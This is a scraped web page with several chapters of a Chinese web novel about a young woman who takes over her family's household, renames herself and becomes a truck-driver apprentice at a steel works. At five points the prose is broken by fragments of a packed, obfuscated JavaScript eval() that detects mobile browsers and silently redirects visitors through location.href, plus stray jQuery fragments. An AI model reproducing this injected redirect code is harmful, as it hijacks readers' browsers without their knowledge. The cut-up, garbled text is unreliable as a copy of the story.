35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407181|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐大姑才不会被引开话题,立马反应过来说道:“这是我家的事,你个小辈管得着么,现在是在说你爸留下来的钱和东西。” “大姑说得对,各管各家事,你是长辈也管不着我家的。” “我可是你姑!和你一样都姓徐。” 可是她嫁人了,去了别人家里生活,那就不一样了。 就算姓爱新觉罗都没用。 徐老四不再多说,整个家里她完全信任的人只有自己,就连徐想娣与徐再儿现在都不清楚父亲具体留下了多少东西,其余姐妹初来乍到更不知道了。 徐大姑见徐老四嘴硬,本想从徐想娣和徐再儿两个嘴里套一套,但谁知这是两个糊涂蛋,最后是心不甘情不愿地离开。 等葬礼一切事情结束,徐家床位拥挤,徐老四给二姐一家三口在招待所定了间舒适的房间。 家里三间卧房,原本徐耀堂的那间留给罗小姨的三个儿子,另外两张床外加了板凳铺款,一共睡了徐家七姐妹和罗小姨。 本来徐老四打算让罗小姨带着两个小的也上招待所,但罗小姨说徐耀堂刚走,保不齐晚上会回来看看家里人,老二身体特殊情况就算了,其余人最好整整齐齐的。 还有一个原因她没说。 她养在身边的三小只虽然也是徐家的孩子,但和城里的三个姐姐放一块完全就是土包子,而那两个已经嫁人了的对她们更是冷淡。 她想趁晚上一起睡觉的机会让姐妹们联络一下感情。 她不知道徐老四已经带小七去看过了医生,就担心以后三小只没人帮彻底留在了乡下。 老三老五都有心事,非必要时徐老四并不爱说话,三小只也内向的很,到最后真正聊起来的是罗小姨与老大。 先是惦记了不是身在何方的金宝,又是担心徐家以后怎么过日子。 然后互相聊起自己的家事。 徐家大女儿徐有娣是军属遗孀,丈夫去世后的这些年一个人扛着家操劳,还要照顾老人,没人帮衬人才会老得这么快。 罗小姨也说起在乡下的不容易,和城市的差距越来越大,家里儿子娶媳妇房子不够住。 徐老四先是听了几耳朵,这几天太操劳什么时候睡着都不知道。 6. 改名 第二天起来吃过早饭,罗小姨就带着孩子们要走,天气热乡下马上要进入一年里最忙的时候,全家大大小小的人都要干活,回去晚了媳妇们会不高兴。 至于三姐妹以后怎么安排,年长的几个都默契地留到以后再说。 徐老二倒是留了下来,她这情况早就请好了产假,二姐夫还有工作带着女儿先走了。 昨天忙着下葬,众人这会儿才有机会询问她的情况。 徐老二自己就是念过医科的内科医生,对自己的身体状况很了解。 “我查过了,我这样就是和男方的那啥基因不合,不仅怀孩子困难,怀上了孕妇面容也会被影响,这一胎没坐稳比上胎情况更严重些。 但也不是啥大事,等生下来就好了。这还有个专业名词,叫孕期狮面综合症。” 什么东西? 徐老四等弄清了是哪个shi,心里非常不爽。 这和狮子有一毛钱关系,明明就是那个男人的东西有毒。 在草原上,这种劣质基因早被她赶出领地了,绝不会给他留下第二次繁衍的机会。 但人类社会到底更复杂些,徐老四看二姐和姐夫人前关系不错的样子。 每当她犹豫该不该说话的时候,不说话都是对的,最后她憋着口气出去找活干了。 “一定要生吗,”屋里坐着的徐有娣心疼妹妹说道,“现在计划生育那么严,多少家就一个孩子,你们已经有玥玥了,我看不生也行。” 八五年正是计划生育最严的时候,施玥生下来时最后两个脚趾没分开。 徐有娣在医院上班有点关系,户口上登记成了残疾,这才有的第二个生育指标。 但其实大家心里都清楚,这根本不碍事,嫌不美观上医院做个小手术就能解决。 “姐你有两个儿子当然不在乎,可我家情况不一样,我要是不生个儿子下来,家里的东西都得到施永年大哥那边。 我就咽不下这口气,凭什么我们家条件好些就该帮扶他大哥,等我把儿子生下来看那边还有什么话说。” 施家两个儿子父母一碗水端不平,当初政府号召下乡时,就把不受宠的小儿子扔到了乡下,和差不多情况的徐盼娣属于是惺惺相惜互舐伤口。 好在下乡没几年就恢复了高考,徐盼娣日夜苦读考上了医科学校,毕业后分配工作主动选了丈夫的老家县城。 一家人团聚还以为苦日子熬到头,没想到婆家也不是省油的灯。 徐盼娣是大城市嫁过去的姑娘,条件好工作好,偏心的公婆便总想从小儿子这边扒拉东西到大儿子家。 徐盼娣这些年没少为这事生气,甚至为了争一口气,将女儿划为残疾,在学校被人偷偷嘲笑。 自家的事情没意思,徐盼娣谈起别的。 “大姐,你要是不急在雄安多待一阵子呗,我们都多少年没见了,家里这几个小的我也不放心,你陪着她们待一段时间好了。” 徐有娣看着在院外运煤的徐老四,“本来我也是担心的,看你看老四昨天那样,比我们这些大的还能镇场子,这个家有她我以后也能放心了。” “光动嘴皮子有啥用,家里全是女人,有那不老实的男人晚上摸进来耍流氓怎么办。 别以为这种事只有农村有,这些年返城的年轻人越来越多,很多都成了无业游民,坏人多的很。” 徐有娣和徐盼娣没见过徐老四在病房以一敌六的场面,对妹妹的武力并不了解。 但就算了解,她们根据过往的社会经验,还是会觉得没有男人不安全。 “大姐二姐,四姐要带我去民政局改名!你们要不要一起!” 就在姐妹俩说着话的功夫,徐再儿蹦蹦跳跳地从门外探出脑袋,笑嘻嘻地说道。 好端端的改什么名字,徐有娣和徐盼娣都愣住了。 老徐家三代单传,从爷爷辈起就喜欢儿子,她们的名字里饱含了家中长辈对未来的美好期盼,这些年她们早就认同也习惯了。 而且结婚后冠夫姓叫xx嫂子或者被称为孩子他妈,自己原本的名字似乎被叫到的次数越来越少。 还有什么必要改名字呢,都不够麻烦的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407182|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐有娣和徐盼娣把这些理由都说了,但徐老四坚决地要照着自己的意思办。 她忍徐念娣这个名字很久了。 昨天给徐耀堂做了死亡证明,今天她得拿着户口本和证明到民政局销户。 徐老四打算把自己户口本上的徐念娣改掉,徐再儿听了心动不已,拉着徐想娣也要去改名。 不过和两个姐姐一样,徐想娣也拒绝了改名的提议。 想娣,想弟。 这个名字挺好。 金宝是因为她才丢的,这辈子她都想着弟弟,这个名字可以时时刻刻提醒着她。 最后只有徐老四和徐老五两个去了民政局,先给徐耀堂销户再申请改名字。 徐耀堂这个户主被销去,家里户口本上的男丁徐金宝被拐生死不知,最大的徐想娣在家就主动提出让老四做户主。 徐老四欣然接受。 至于改名字,这年头也不算太稀奇,以前就有不少人在参加革命或者入党后改了更红的名字。 现在上面政策讲究破除封建糟粕落后思想,念娣再儿这两个是明显带有重男轻女不平等思想的名字,工作人员很痛快地通过了她们俩的改名申请。 “户口本上曾用名填原来那个,新名字叫啥想好了吗?” 徐老四点头:“想好了,就改最后那个字,改出wei。” “哪个wei字?” 维多利亚的wei,但这个年代普通老百姓口中很难会蹦出一个洋名的,她不能说出这个理由。 但具体是哪个字徐老四也不清楚,只知道上辈子那些摄影师就是这么叫的她。 “随便哪个wei都行,您看着写吧。” 那工作人员笑了,觉得这小姑娘有意思,改名字慎重又随便的。 “我前二回家看到我妈院子外的紫薇花开得可好,那就叫紫薇花的薇行不行?” 徐老四点头同意,从今以后在这个世界上,她的名字不再是徐念娣,而是徐念薇。 她要永远纪念上辈子那个在草原上荣耀威风的维多利亚。 8. 补偿 徐耀堂头七当天来的人也不少,主要是一些住的近的亲朋好友一起到公墓去烧纸。 烧完纸主家一般还要招待一顿午饭表示感谢,家里的几个女人从昨天就准备起来了,现在回去很快就能吃上。 路上曹晓鹏刻意找到个机会走到徐念薇身边,小声道,“念薇,我有些话想和你说。” “说吧。” “我爸有熟人在省城报社那边有点关系,我托他去问了。 以后你要想在省报上登寻人启事,这关系应该有点用。” “谢谢。” 还是那副不冷不淡的样子,徐念薇似乎对每个人都是这样。 可明明以前的她见到陌生人上门,会害羞地低头一笑,那才是女人真正打动人的地方。 曹晓鹏看着比自己只低小半个头的徐念薇,虽然不知道这半年她怎么就二次发育长高长壮了这么多,但好在徐家的好基因在她身上还是体现了出来。 徐念薇皮肤白净细腻,五官精致秀丽,以后打扮一下还是非常有女人味的。 曹晓鹏在心里安慰自己,然后接着表白。 “念薇,你一个人撑着全家太累了,我、我想照顾你,和你组建革命友情。 我家里的条件还行,父母都是人民教师,一个姐姐一个妹妹,以后我爸妈肯定是会多帮我这一头。 而且都住在家属院不远,以后还能一起照顾你娘家人,你觉得怎么样?” “不行,我没看上你。” 徐念薇直截了当地拒绝,曹晓鹏体格子在北方人中有些偏小了。 除了这个缺点,他身上也没有其他能吸引到徐念薇的优点。 “啊,你要不多考虑考虑?” 曹晓鹏表白当然是把自己的优势都说了出来,但没想到都这样了她还是无动于衷。 哪个少女不怀春,她都满十八了,怎么还是一点不开窍。 曹晓鹏这会儿真的急了,徐念薇这一拒绝打断了他之后的所有计划。 师父走得突然,技术科副科长的位置空下来,底下其他岗位都会发生一些变动。 他比不了那些工龄长的,但小组长还能争取争取。 在厂子这些日子他敏锐地感受到了厂子里领导的一点情绪,只要他成了半个徐家人,又是师父手把手带出来的徒弟,以后在厂里就多了一份隐形的道德资本,前途大有可为。 徐家成年的适龄女儿就徐想娣和徐念薇两个,曹晓鹏和徐想娣以前更熟悉点,两人相处好几年一点火花都没有。 而徐念薇则是年纪更小,徐家出事后曹晓鹏忙前忙后在她面前表现了很多次,对方都理所当然地接受了。 本以为水到渠成的事情,现在却一而再地受挫。 听说徐家留下的钱和东西都在徐念薇手上,曹晓鹏私底下也想过,之后如何引导着妻子分配。 现在这些设想通通打了水漂,就像有人活生生从他手里抢走了一大笔钱那么难受。 曹晓鹏没想到,回到徐家,还有更难受的事情等着。 钢铁厂的工会来了,是工会主席亲自带人上门。 徐耀堂在厂里打拼大半辈子,做出了很多贡献,临到退休前去世,是所有人的损失。 更何况,很多人都知道,那天徐师傅是因为连日加班身体受不了,最后才骑着自行车栽进了沟里,这要是不好好处理后事,以后谁还给厂子卖命。 于是这几天厂领导经过开会讨论,一致决定了以下几点: 第一,厂里分给徐家这套独门独户带院一百五十平的房子不收回了。产权直接给到户主,也就是徐念薇,由她带着姐妹继续生活。 第二,厂子里补发了一笔抚恤金,包含了丧葬费慰问金等,一共两千元整。现金已经被当场带了过来。 第三,给徐家提供一个工作岗位,用来养活下边四个未成年女儿。 这桩桩件件都是大好事,周围这十几年都没有哪个去世工人有过这么厚的待遇。 不仅徐家姐妹被这几个好消息砸蒙了,周围的邻居们也都眼热地相互嘀咕起来,有夸厂子仁义的,也有眼红说徐念薇几个不配的。 但这其中心里最煎熬的还是要数徐大姑和徐小姑这对老姐妹。 徐家的这套房子能这么大,当年可不止靠徐耀堂一个,还有她们父母多年的工龄份额加一起才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407184|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑出了这么大的面积。 现在就都归了徐念薇那几个赔钱货?!这怎么行! 还有那两千块钱和工作岗位,哪一个在外边不是被人抢破头的好东西。 还有家里未知的遗产,这些东西要是给了家里唯一的男苗金宝,她们也算认了。 但现在凭什么,那几个小丫头片子能有这福气消受么。 看到徐念薇接过那二百张大团结时,徐大姑姐妹俩眼睛红得快要滴血。 中午那顿饭两人都吃得心不在焉,回到家拉着自己男人就进屋嘀咕去了。 徐家这边自然高兴了,几姐妹从小就被教育着要让东西给金宝。 现在金宝没了,户主成了徐念薇,她们由于多年的思维惯性第一反应就是高兴,压根没想过霸占这些。 徐念薇依旧笑纳。 下午去把两千块现金存进自己账户里,徐念薇带着家里的姐妹,杀进了一家国营饭店。 五姐妹一共点了十多道菜,把徐有娣和徐盼娣看得瞠目结舌,这哪里是正常人能吃完的,不活脱脱浪费钱吗。 徐念薇压抑多时,这回彻底在姐妹面前放开,蔬菜主食真的只拿来清口溜缝儿,桌上大家没吃完的所有肉菜最后都进了她的肚子。 头一回见到饭桶发威的徐有娣和徐盼娣狠狠地震惊了,最后顾不上体面,一左一右拉着徐念薇的手,要她保证以后不会把家里所有的钱都花在吃上边。 家里就嫁出去了两个,其他人以后不能一点嫁妆都没有,还得给金宝留一笔钱,往近说老五老六老七老八都还没成年呢。 徐老三参加工作不久才转正,那一点工资根本顶不了事。 徐念薇吃得心满意足,至于两个姐姐拉着自己推心置腹说的话,真正听了多少进去,就不好说了。 徐有娣在徐家又待了三天,带着妹妹把家里里外都打扫得干干净净,加上老家来电话催,她买了火车票准备第二天回去。 徐盼娣到了该做产检的时候,和徐有娣同一天离开,徐家只剩下三姐妹。 徐想娣回到厂子上班,徐再再依旧去上学,徐念薇则到了钢铁厂人事科来领取她那份岗位。 9. 工作 市第一钢铁厂,人事科办公室里。 “现在厂子一共有这三个地方缺人,小徐你看想选哪个。第一个是仓库管理员,第二个是轧钢车间精装工人,第三个是运输队司机学徒。” 虽然徐念薇父亲是技术科元老骨干,但这老东西骨子里就瞧不起女人,觉得女人干不了他这一行,因此宁愿带无亲无故的男徒弟,也没有给自己孩子传授一星半点技术方面知识。 厂子里了解了这情况后,完全没打算把徐家的女儿放到这么关键的地方去。 人事科的副科长张红简单给徐念薇介绍了下这三份岗位的情况。 头一年进去基础工资都差不多,但发展前景却有很大不同。 仓管活儿清闲,但学不到什么技术发展前途有限; 车间工人要三班倒,累了些但经常有加班工资和补贴福利; 运输队学徒这个不算累,发展前景也不错,但学徒时间最长,而且运输队里绝大部分都是男人,徐念薇一个年轻女孩进去很不方便。 徐念薇根本没有过多犹豫,直接就选了第三个。 张红还以为对方会愿意到仓库当管理员呢,这活儿最适合女孩儿干,没想到她选中的是运输队司机。 她隐隐有些后悔了。 早先厂里开会时候说好的,要给徐家提供三个不同岗位让人家自己选。 厂里其实还有各科室科员、资料员广播员等岗位名额可以拿出来。 但这些岗位都是香馍馍,张红没舍得拿出来,准备以后和其他厂领导来往做人情。 仓管员才是她真正打算给徐念薇的工作,另外两个就是拿来凑数的。 运输队司机对女孩不友好,但在男人间很吃香,哪个司机家里没有年纪合适的子侄收作学徒?只是被人员指标这一项给卡着罢了。 现在徐念薇选了这岗位,只怕是动了某些人的蛋糕。 张红脑子里不断涌现出各种人名关系,是得罪领导还是得罪司机,她很快做出决定。 没办法,先把领导给她的任务办好才是最重要的。 至于运输队的老人们要是有意见,到时候和她关系也不大了,毕竟是徐念薇自己选的么。 登记好手续后,张红带她领了工服手套等劳保用品,然后带着人绕过几栋宽大的厂房,把人带到一小排双层砖瓦房前的一大片空地上。 徐念薇眼睛死死钉在那些比大象还有庞大好几倍的铁疙瘩上,这可比她在路上见到的汽车还要威风。 最优秀的女人就该驾驭这种级别的大家伙。 几个没出车的司机都在拿着各种家伙事儿在给大车做保养,身上的工服都沾染上了油漆。 那东西可难洗,一般人都不敢随便靠近。 “张科长,你咋领了个女娃到我们运输队来?”运输队副队长老袁上前招呼着。 “给你们送人才来了,这位小同志是之前技术科徐师傅家的四女儿,厂里给她安排到了运输队,以后就是你们徒弟了。” “啊,张科长,你没和我整笑儿吧。徐师傅因工牺牲的事儿我们也听说了。 但这样一个标志的女同志,不让她体体面面坐办公室,来又脏又苦的车队干啥,她踩得动刹车扳得动老虎钳么。” 老袁这话也没乱说,钢铁厂运输钢材的货车几乎是这年头运载量最大的车型,又大又长,方向盘都不是一个女孩能轻易握住的。 张红刚才也用同样的理由劝退过徐念薇,这会儿没说什么,只是拍了拍她的背。 “你去给袁队长露两手。” 徐念薇点点头,环顾了一圈后,走到一只放在地上的货车车轮胎,弯下腰先掂了掂重量,觉得可以了,下盘使力直接给提到了腰间的高度。 本来可以试试举过头顶的,但徐念薇一直没正儿八经测试过自己的力量,在码头扛包都只出了五成力,这会儿她担心关键时候出岔子就没整花活。 “哎哟哟,这虎妞力气可真大!” 一旁看着的司机师傅们都瞪大了眼,常年和货车打交道,他们怎么不知道那一只轮胎可有六七十公斤,就算是他们自己都很难搬得动。 “我的天,快放下来快放下,这车胎重严禁单人硬搬,以后可不许这样了。” 老袁连连摆手,看到徐念薇听话地把车轮放下后,他才擦着额头的虚汗,没好气冲张红道,“你从哪儿给我找来这个活宝。” 张红笑笑没说话,刚刚在人事科办公室,她可是被徐家这个怪力少女,单手像抱小孩儿一样给举了起来。 她亲爹都过世多少年了,谁能想到还有这么一天。 也就是这运输队全是脏兮兮的臭男人,徐家这闺女才没对人下手,他们偷着乐去吧。 欣赏完几个司机惊讶的表情后,张红说起正事。 “老袁,这下你该没什么话说了吧,人小姑娘指不定是天生吃你这碗饭的人呢。” “那可不一定,司机又不是力工,最重要的还是技术和胆量,我们这车一般人爬上去都费劲,她真有那胆子开?” “谁生下来就会开车,还不是学着学着才会的,她既然愿意来运输队,胆量应该也没问题,你赶紧给人安排个师父带着。 一个月后我和工会那边的领导都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407185|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要来看的,除非小徐中途主动退出,不然你得把人教得能把车开起来。” 张红还有其他事,撂下这番话后就离开了。 徐念薇一副老实相,眼巴巴地看着老袁。 老袁有苦说不出,有些烦躁地召集起所有在厂里的司机,问谁有空能带人的。 众人反响平平。 这也是正常的,这年头要学一门手艺哪有那么容易,哪个不是要送钱送礼还要看师傅愿不愿意收。 徐念薇是厂子硬分下来的,她和她老子和司机们都没啥交情。而且她家现在没有长辈了,万一是个啥都不懂的愣头青咋办。 既然没人主动,老袁自己指人:“老江,你手下带的人不多,就把小徐交给你吧。 刚刚张科长下的任务大伙都知道了,这一个月可得好好教人。” 江庆山一样是个四十多的中年人,但看着比老袁要白点儿也年轻点儿,被点中后他也知道这差事躲不掉了,可他心里就是不好受。 好不容易前段时间车队里被调走了两个司机,本来轮到了他可以多带一个徒弟。 他老婆和娘家都谈妥了礼也收了,就等着名额确定了他去打报告,然后将媳妇儿娘家侄子给安排进来。 结果现在名额和名额上站着的人是一起下来的,还是个不中用的女娃,他能乐意带人才怪了。 江庆山头疼地吩咐跟自己最久的大徒弟:“志文,最基础的那些你去教,以后每天下班前一小时我再过来检查。” 朱志文是个面容和气一脸斯文的年轻男人,个子不高也不矮,算是北方男人平均水平。 不出车时他干的最多的也就是给师父打下手,教新人开车算是轻松活儿了,他也能乘机多抓一下方向盘。 青年点头答应后,带着礼貌的微笑走到徐念薇面前伸出右手,嗓子绷得有点紧。 “徐同志你好,师父让我先来教你开大车的基础知识,希望今后我们两个能好好相处合作愉快。” 徐念薇回握了一下,说了一句今后麻烦了,随后被朱志文带着和运输队里的其他人互相打招呼认脸。 “咱们运输队有两个小队,人数都差不多。我们是二队,一队出车去省城了还没回来。 你带纸笔了没,接下来我说的话你最好都记下了,这样回家了还能多熟悉熟悉……” 徐念薇立马照做,一天下来,她的小笔记本上记了两页多的笔记。 朱志文还算体贴,没有一股脑儿将所有知识都说完。 头天只教她认了认车里各种部件,最后让她在停着的货车上打了几圈方向盘过了点瘾。 11. 搬入 到了第二天,徐家夜里进贼的事情从传遍了家属院,进一步传遍钢铁厂,最后到亲朋好友那边。 钢铁厂特意从保卫科调了几个人过来,打算这段时间晚上都轮流着巡逻加强安全措施。 至于家属院里的邻居们,大家都说果然家里没有男人不行,容易遭贼惦记。 看看,这才过不到一个月就出事了吧! 老话都说男人就是那栋梁之材,家里要是没有了这根大柱子,房子迟早得塌。 这下看徐家那几个年轻小闺女怎么办。 此时徐家堂屋,徐念薇刚从大街上买回来几份早餐。 “先吃饭,其他的事吃完早饭再说。” 徐再再和三姐现在都还心有余悸,哪里有一点胃口,敷衍地喝了几口玉米粥,剩下的东西都进了徐念薇肚子里。 正好昨晚运动量过大,今早她就感觉特别饿。 不过有些话还是要先说好,徐念薇擦了擦嘴角。 “以后自己那一份儿都要吃完,我可不愿意总帮你们扫食儿。” 这两个人并不知道这个家里曾经饿死过一个女人,徐念薇也不打算告诉她们这个可怕的真相,只能这样委婉一点提醒,天塌下来也得吃饱饭再说。 “四姐怎么办啊,咱们今晚还住这儿吗,我到现在还没缓过来。” 要不是四姐警惕性高,不仅家里会蒙受巨大的财产损失,她们三姐妹的名声都要被毁了。 “话说老四你昨晚是咋醒过来的,还和那么多人打成那样,这次咱们运气好,以后谁还能说得准,咱们家里就三个女人真的不行。” “咋不行了,我这不是把他们都送进局里了么。” 徐念薇现在每天吃得饱饱,虽然没再长高,只堪堪停留在一米七二的样子,但她的肌肉密度已经不是一般人可比。 那几个小偷打在她身上的痛感,还比不上当初她偷厨房吃的被徐耀堂揍的。 姐妹的反应都不太对劲。 明明是她英勇无畏打到了入侵领地的外来者,她们不夸赞她的威猛,还一直说这不行那不行的,徐念薇不明白。 吃过饭三个到了派出所做笔录。 公安杜照峰刚从警校刚毕业的小年轻,第一个接手的案子就是徐家小儿子被拐一案。 一个月后,她家二度进了小偷,简直是厄运缠身,这让正义感十足的杜照峰十分同情,对姐妹三个多了一份关照。 “这五个人的信息都查到了,都是普通家庭出身,家里没有安排工作,几个人手头紧就凑到一起做些小偷小摸的勾当。” 杜照峰道,“昨晚让你们登记家里财产损失,之后所里能出面帮你们要到赔偿。” 徐念薇当然登记了。 不仅是她的卧室,还有家里一些破旧的物件,徐耀堂用过的钢笔眼镜等,能写的她都写了上去。 杜照峰拿过登记表一看,对这里头的一点猫腻没多说什么。 很快这五个青年小偷的家人都赶了过来,家里出现这种事,几家人都羞愧难堪。 公安说啥就是啥,最后一起凑钱给徐家赔了四百块损失费,另外还有一百块精神损失费。 虽然这笔钱换取了受害者的谅解,但上门行窃到底是一起社会恶劣事件,五个人除了头破住院的那个,其余人都得被关在拘留所一个月后才能出来。 徐念薇拿着钱直接到国营商店给自己买了全新的家具,四百块打了个水漂似的一下就花完了。 家具当场付钱后,需要到下午才能调货出来,徐念薇请了三个蹲在商场外的临时工,准备当天就将全新时髦的衣柜桌子床运回家,把整个房间都换个新。 另外那一百块精神损失费也没闲着,徐念薇决定把它全用在伙食上,好好给家里的人补一补,别动不动就晕倒。 就比如说外边那两块钱一斤的卤牛肉,必须狠狠吃上十斤才过瘾。 等到这笔钱吃完了,徐念薇的工资也下来了,大概三十块左右。 但这只是学徒工的工资,以后家里的伙食水平,还是会跟着她的工资上涨而上涨。 大姐二姐不让她动家里的存款去吃喝玩乐又如何,她这不是又想到了别的办法。 徐想娣在旁边看得眼皮直跳,她自己工龄短,一个月也才39块钱。 老四手里可是四五百块钱半个一千了,多少人一年也攒不下这些,老四居然几分钟时间就全花出去。 “卤牛肉太贵了,比生牛肉贵一半多,老四你咋突然想吃这金贵玩意儿了?” 徐想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407187|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娣想不明白,家里以前改善生活最多也是吃吃猪肉,牛肉在她记忆里就没吃过几回。 徐念薇早就惦记这一口了,在码头扛沙包那会儿的钱只能填饱肚子,现在无论如何她都要吃到过瘾才行。 “我就想吃。” 徐念薇说干就干,买来的两斤卤牛肉分了姐妹两个一人半斤,剩下的一斤她一顿就给造完了。 吃得好住得好,日子越来越有滋味时,麻烦找了上来。 徐大姑等丈夫下班后,雇了一辆小三轮,将几大包衣物都拉到了钢铁厂的家属院来,最后停在了徐家门口。 徐念薇这时正骑车出去搬运家具,家里只有徐想娣和徐再再在帮忙收拾房间。 见徐大姑提着大包小包打算进门,徐想娣开口问道:“大姑,你们怎么来了?” 徐大姑下巴抬得高高的,拿眼尾瞟了家里的两个侄女,居然都毫发无损精神也正常的很,但她还是把提前打好的腹稿说出来。 “我们不来能行吗,我大哥才走,家里就出了这么大的事。 从今天起,我和你姑父就勉强搬过来和你们一起住,这样坏人就不敢再打你们主意了。” 啊?徐想娣感觉天要塌了,徐大姑一向不喜欢自己,要是她住进来,自己还能有好。 可转念一想,大姑说得也对,那几个小偷不偷巷子口近的那几家,偏偏跑到巷子深处的自家来偷,不就是看她家人少好欺负。 老四再能打也只有一个人,万一哪天睡走眼让坏人得逞了呢。 徐念薇选工作的事回来给她说过一声,徐想娣从那时起心里就有隐约的不安。 开货车跑长途时可是会有十天半个月不在家的,到时候家里就剩下她和再再,只怕晚上都睡不着觉。 徐想娣当时心中顾虑就很多,但老四现在越来越有主见,她没把这些心里话说出口。 徐家亲戚不多,大姑住过来确实是帮了她家的。 徐想娣犹犹豫豫期间,徐大姑已经和丈夫胡向前将行李都搬进了院子。 就在他们打算进房时,被徐再再这个小丫头死死拦在了屋外。 “不行,现在我家是四姐做主,得等她回来问过她的意见才算数。你们不能就这么搬进去,那是我四姐的房间!” 12. 谣言 徐大姑能几个眼神喝退徐想娣,但这招在徐再再身上效果就不怎么样了。 胡向前脸上还是挂着那副老实人的温吞笑容,像哄小孩儿似的对徐再再说道。 “再儿乖,姑姑姑父这是放心不下你们过来保护你们的,你四姐指定没啥意见。 我和你姑担心你们,一下班就收拾东西赶过来了,先让我们进去喝杯水行不。” 不等徐再再回答,门外的周婆子立即插话道:“就是啊再再,你可是咱家属院正经长大的姑娘,不能不懂礼数把长辈拦在屋外,你姑姑姑父都是好人啊,咱不能做那不识好歹的白眼狼!” 徐大姑夫妇一路从巷口进来,和不少熟人都打过招呼,虽然是他们主动要住人家的房子,但嘴里的说辞却换了一套。 “几个孩子还小,没有大人护着不行”“有我这个当姑的,看以后谁还敢欺负他们”等等,两人全然一副不得不来深明大义的长辈姿态。 巷子里那些邻居也都认可两口子的话,反正徐家那么大的地盘,住下徐大姑两人也不是啥问题。 徐家现在就是人丁太稀薄,很需要有人加入旺一旺家门。 周婆子家房间小却挤了快十口人,对徐家这院子眼馋得不得了。 前几天她拦住了下班回家的徐念薇,赔着笑脸好言好语想从徐家租一间房,给自家刚结婚不久的小儿子一家住。 可还没等她在房租上大砍价呢,就被徐念薇一口给回绝了。 这死妮子也不通人情世故,拒绝得直白生硬,一点场面话儿都不讲,撂下一句“不租”后立马就走了。 留下周婆子一个人在原地,被周围几户瞧热闹的邻居看了个正着。 不租给她家是吧,想一人一间房是吧,周婆子打心底觉得,没有谁家的女儿能有这样的待遇。 一个正常的好女人就应该从出生后和父母睡一起,和姐妹睡一起,结婚后和丈夫睡一起,总之就是不能自己一个人一张床。 周婆子不仅希望徐大姑一家能住进来,最好她家的儿子儿媳孙子也一块进来,让那三个死丫头每天不是干活就是干活,等到哪天徐老四累得不行了,累得病倒在她家,求她给一口水喝救命,这样才能让她出了心头那口恶气。 “徐再再你没听到我说话呢,还杵在原地干啥,赶紧帮你大姑搬东西啊!”周婆子继续拱火。 徐再再下意识看向自己的三姐,但对方与她对了个眼神后,却心虚地移开了。 这还有啥不明白的,三姐也是希望大姑他们搬进来的。 徐再再突然觉得自己一个人孤零零的很累,就在她脚步抬起打算往旁边站去时,一道犹如天籁的声音出现在门外。 “谁许你们搬过来了?” 徐念薇也骑着一辆三轮车,车上摆满了各式各样的小家具用品,在她身后有三个力工拉着板车,上面放的是待会儿需要组装起来的各式木板。 “念薇,你这是买啥东西回来了,整这么多。”胖婶帮忙扶了一把,凑近到徐念薇身边后小声嘀咕了句,“小心你姑姑姑父。” 徐念薇点头表示听见了。 “家里的东西都被那几个小偷弄坏了,我去商场买了点新的回来。” “啥?你家又不办喜事,买这么多东西干啥,钱烧得慌啊。” 周婆子脸色更不好看了,她小儿媳在一旁冷哼了好几声。 这是有缘故的。 周婆子的小儿子结婚时,按照当地习俗男方需要把床和柜子两个大件准备出来,其他的才会用女方的嫁妆。 可周婆子一家平日就过得挤巴,根本没钱整这个。 